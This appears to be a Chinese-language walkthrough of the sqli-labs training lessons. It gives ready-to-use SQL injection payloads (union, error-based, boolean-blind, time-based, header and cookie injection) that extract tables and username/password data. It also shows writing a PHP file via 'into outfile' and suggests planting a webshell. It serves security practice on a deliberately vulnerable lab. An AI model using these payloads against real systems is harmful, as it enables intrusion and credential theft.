目录
lesson 1 单引号,字符型注入
lesson2 单引号,数字型注入
lesson3 单引号、括号、字符型注入
lesson4 双引号,字符型注入
lesson5 单引号,group by报错注入
lesson6 双引号,group by报错注入
lesson7 读写文件
lesson8 布尔盲注
lesson9 单引号,延时注入
lesson10 双引号,延时注入
lesson11 单引号,联合查询注入
lesson 12 双引号,括号,联合查询注入
lesson 13 单引号,group by报错注入
lesson 14 双引号,group by报错注入
lesson 15 单引号,延时注入
lesson 16 双引号,括号,延时注入
lesson 17 xpath报错注入
lesson 18 user-agent注入
lesson 19 referer注入
判断是否存在sql注入漏洞
先在原url后加?id=1,发现页面有回显后,将id=1改为id=2发现同样有回显且回显页面不同
在?id=2后加一个单引号,页面报错,可初步推断有sql注入漏洞
报错内容分析
判断为字符型注入,并且给id值+1/-1页面有回显,先考虑使用联合查询方式进行注入
判断表的列数(使用联合查询时,两张表的列数必须相同)
order by,不断尝试得出正确的列数(错误值页面有下图所示报错,正确值页面回显正常)
原理分析
联合查询
将2改为-2,或在后添加and 1 = 2,目的是让之前的语句作废,只执行union slect语句
下图所示,2和3处有回显,然后更改2,3处的语句,让页面回显出我们想要的东西
更改2为user()让页面返回用户名,更改3为database()让页面返回当前数据库名,也可改为其他的
获取信息(利用元数据库)
查所有数据库
union select 1,2,group_concat(schema_name) from information_schema.schemata --+
查看数据库中的所有表
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() --+
查看表中的字段
union select 1,2,group_concat(column_name) from information_schema.columns where table_name = xxx --+
查询users表中的字段
查值
union select 1,2,group_concat(concat_ws('-',username,password)) from security.users --+
用 - 将username和password分开,并分组查询
这一关与上一关都需要使用联合查询方式进行注入
通过加单引号报错,得到如下结果
所使用语句与lesson 1一致,只是lesson2中无需添加单引号使其闭合
加单引号报错,得到如下结果
判断表的列数
原理分析
所使用的语句与前两关一致,都使用联合查询方式注入,需要注意要添加 ') 让语句闭合
加双引号报错,得到如下结果
判断表的列数
原理分析
所使用的语句与前三关一致,都使用联合查询方式注入,需要注意要添加 ") 让语句闭合
输入?id=1时,页面回显如此(并未返回数据库信息,所以不能使用联合查询)
在?id=1后加一个单引号,发现页面有报错,尝试使用报错注入,如下图所示
获取数据库名
Union select 1,count(*),concat(database(),'/',floor(rand(0)*2))x from information_schema.columns group by x --+
获取表名
Union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),'/',floor(rand(0)*2))x from information_schema.columns group by x --+
获取表中的字段
Union select 1,count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),'/',floor(rand(0)*2))x from information_schema.columns group by x;--+
获取数据
Union select 1,count(*),concat((select password from users limit 0,1),'/',floor(rand(0)*2))x from information_schema.columns group by x;--+
第六关和第五关类似,页面无回显信息,输入双引号触发报错,考虑采用报错注入
所用语句与第五关相同,只不过要注意需要输入双引号才能触发报错
先输入?id=1,页面回显提示我们需要 use outfile
读写文件的前提条件
1、secure-file-priv,在MySQL-->myini中的mysqld下添加secure-file-priv=
secure-file-priv= //不对导入导出做限制
secure-file-priv='c:/123/' //限制导入导出发生在'c:/123/'下
secure-file-priv=null //不允许导入导出操作
2、当前用户具有文件权限
3、知道写入文件的绝对路径
接下来,尝试写入文件 ?id=1')) union select 1,2,3 into outfile 'C:\\phpStudy\\PHPTutorial\\1.php' --+
执行后,页面仍有报错,但是该路径下已经生成了一个php文件
可以尝试写一个一句话木马,并用中国菜刀连接,好了,这一关就先说到这
输入id后页面没有回显数据库信息,加引号也没有报错
加上and 1 = 1页面回显正常,加上and 1 = 2页面回显错误,则可能存在布尔类型状态的注入漏洞,尝试采用布尔盲注
判断数据库长度
?id=1' and length(database()) < 5--+ //输入正确时页面有回显,错误时没有回显,以此判断数据库长度
判断数据库名称
?id=1' and substr(database(),1,1) = 's' --+ //表示将数据库名称转为字符串,从第一个字符开始取,取一个,是不是 s,若是,则回显正常,若不是,则没有回显,以此判断出数据库字符串名称,也可以将其转化成ascii码
?id=1' and ascii(substr(database(),1,1)) > 88 --+
判断表
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 1 --+
然后在接着操作······
输入id后页面没有回显数据库信息,加引号也没有报错,且and 1 = 1和and 1 = 2没有作用
在后面输入and sleep(5),发现页面延时五秒回显,则尝试采用延时注入
延时注入与布尔盲注payload相似
获取数据库长度
?id=1' and If(length(database()) > 5,sleep(5),1) --+ //若长度大于5,则页面延时五秒回显,若不大于5,直接回显
获取数据库名称
?id=1' and If(ascii(substr(database(),1,1)) > 90,sleep(5),1) --+ //若第一个字母的ascii值大于90,延时五秒回显,否则直接回显
获取表名、字段名、数据与之类似
与第九关相同,只是需要加 " 进行闭合,剩下的与第九关相同
这一关开始到本文结束都是post注入的手注方法,可以查看另一篇文章sqlmap之post注入
先查看一下源码
输入 username:admin password:admin
用order by得出列数,然后用联合查询,此处的uname=1即找一个不是用户名的值来触发报错,与前几关的id=-1意思相同
接下来就和第一关一样了,用hackbar的post data,# 就是注释,和之前的--+一样
查数据库
uname=1' union select 1,group_concat(schema_name) from information_schema.schemata #&passwd=admin
查表
uname=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() #&passwd=admin
查字段
uname=1' union select 1,group_concat(column_name) from information_schema.columns where table_name = xxx #&passwd=admin
查值
uname=1' union select 1,group_concat(concat_ws('-',username,password)) from security.users #&passwd=admin
这一关我们不查看源码了,来看看不看源码应该怎么猜
输入 username:admin' password:admin 发现页面没有报错,猜测可能单引号不能触发报错,尝试一下双引号
发现触发了报错,查看报错信息得知需要用双引号+括号来闭合
那我们这一关也不使用hackbar了,直接在原输入框中输入构造的语句
发现同样是可以的,当然了哈哈哈,接下来的操作就和11关一样了
这一关输入username:admin password:admin,页面是没有数据回显的,也就是说我们没法在使用联合查询了,接下来就看有没有报错,有报错的话首选报错注入,毕竟要按成本高低选择先后
闭合方式通过查看源码得知,然后可以使用第5关用过的语句,忘记的同学可以回看一下
查看数据库
uname=1') union select count(*),concat(database(),'/',floor(rand(0)*2))x from information_schema.columns group by x #&passwd=admin
查表
uname=1') union select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),'/',floor(rand(0)*2))x from information_schema.columns group by x #&passwd=admin
查字段
uname=1') union select count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),'/',floor(rand(0)*2))x from information_schema.columns group by x #&passwd=admin
查值
uname=1') union select count(*),concat((select password from users limit 0,1),'/',floor(rand(0)*2))x from information_schema.columns group by x #&passwd=admin
这一关同样没有页面数据回显,但有报错
查看源码,得知需要用双引号闭合,payload与上一关相同
需要把闭合方式改为 " ,即 uname=1" ······
这一关既没有了数据信息的回显,也没有了报错信息的回显,那么接下来考虑一下延时注入
没有问题,延时了5秒
判断数据库长度
admin' and If(length(database()) > 5,sleep(5),1) # //若长度大于5,则页面延时五秒回显,若不大于5,直接回显
获取数据库名称
admin' and If(ascii(substr(database(),1,1)) > 90,sleep(5),1) # //若第一个字母的ascii值大于90,延时五秒回显,否则直接回显
获取表名、字段名、数据与之类似
延时注入
双引号+括号闭合,即 admin") and sleep(5) #,操作与上一关相同
重置密码
发现在 new password处添加引号时会报错
接下来尝试在此处使用报错注入,经过尝试发现xpath报错可以
uname=admin & passwd=admin' and extractvalue(1,concat(0x7e,(select version()),0x7e))#
查表
uname=admin & passwd=admin' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))#
查字段
uname=admin & passwd=admin' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 3,1),0x7e))#
其他类似
这一关提示是user-agent报错,所以可以上BurpSuite了
点击submit时抓包查看,并将截取到的数据包发送至reapeater
添加单引号触发报错,在Response处单击Render可以看到页面效果
有报错信息,那么久一鼓作气使用语句搞完吧
先得到数据库
' ,1,or updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
得到数据库中的表
数据库中表超过1,要使用limit构造语句
',1,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'security' limit 3,1),0x7e),1))#
查字段
',1,updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'users' limit 4,1),0x7e),1))#
查数据
',1,updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1))#
ok,这样的话就结束了
和刚才一样的操作,先用BurpSuite抓包,在referer处加单引号,触发报错
在上一关的基础上构造语句
剩下的就是基本操作了,与上一关的语句大同小异
先看看20关吧,这一关提示是cookie注入
放过第一个包,将第二个包发送至reapeater
在cookie后加上单引号,触发页面报错
并且页面又回显,或许可以使用联合查询来注入
先判断有几列吧
通过对比可以确定列数为3,接下来判断回显点
2和3貌似都是,验证一下
所以,没问题了,可以使用联合查询的语句,好了剩下的不在演示,可以移步第一关复制语句
over!!